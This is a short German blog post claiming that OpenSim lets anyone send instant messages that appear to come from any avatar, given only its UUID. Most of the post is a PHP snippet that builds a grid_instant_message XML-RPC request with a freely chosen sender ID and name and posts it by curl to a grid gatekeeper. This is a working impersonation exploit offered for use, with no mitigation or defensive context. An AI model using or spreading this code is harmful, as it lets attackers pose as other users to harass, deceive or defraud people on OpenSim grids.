Adult Life Hero-Bild

Willkommen bei Adult Life

Break the fucking rules

PHP

Opensim - Der Trugschluss

Viele sind der fälschlichen Meinung, dass OpenSIM relativ sicher ist.
Vor Urzeiten habe ich mal einen Code gefunden, der anderen Usern in OpenSIM ein IM zukommen lassen. Soweit nicht das Problem. Das Problem: Als Absender der IM kann jeder x beliebige Avatar genommen werden. Es wird nur die UUID benötigt

Ich habe hier mal einen Teil des Codes gepostet.
Alle Code-Beispiele
 $im_xml_body = "<?xml version=\"1.0\" encoding=\"utf-8\"?>" .
                   "<methodCall><methodName>grid_instant_message</methodName><params><param><value><struct>" .
                   "<member><name>position_x</name><value><string>0</string></value></member>" .
                   "<member><name>position_y</name><value><string>0</string></value></member>" .
                   "<member><name>position_z</name><value><string>0</string></value></member>" .
                   "<member><name>to_agent_id</name><value><string>" . htmlspecialchars($to_agent_id) . "</string></value></member>" .
                   "<member><name>from_agent_session</name><value><string>00000000-0000-0000-0000-000000000000</string></value></member>" .
                   "<member><name>im_session_id</name><value><string>" . htmlspecialchars($from_agent_id) . "</string></value></member>" .
                   "<member><name>from_agent_name</name><value><string>" . htmlspecialchars($from_agent_name) . "</string></value></member>" .
                   "<member><name>from_agent_id</name><value><string>" . htmlspecialchars($from_agent_id) . "</string></value></member>" .
                   "<member><name>binary_bucket</name><value><string>AA==</string></value></member>" .
                   "<member><name>region_handle</name><value><i4>0</i4></value></member>" .
                   "<member><name>region_id</name><value><string>00000000-0000-0000-0000-000000000000</string></value></member>" .
                   "<member><name>parent_estate_id</name><value><string>1</string></value></member>" .
                   "<member><name>timestamp</name><value><string>" . time() . "</string></value></member>" .
                   "<member><name>dialog</name><value><string>AA==</string></value></member>" .
                   "<member><name>offline</name><value><string>AA==</string></value></member>" .
                   "<member><name>from_group</name><value><string>FALSE</string></value></member>" .
                   "<member><name>message</name><value><string>" . htmlspecialchars($message) . "</string></value></member>" .
                   "</struct></value></param></params></methodCall>";

    // --- CURL-Anfrage an den OpenSim Gatekeeper senden ---
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $grid_gatekeeper_url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $im_xml_body);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/xml-rpc',
        'Content-Length: ' . strlen($im_xml_body)
    ]);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);

    $response = curl_exec($ch);
    $http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);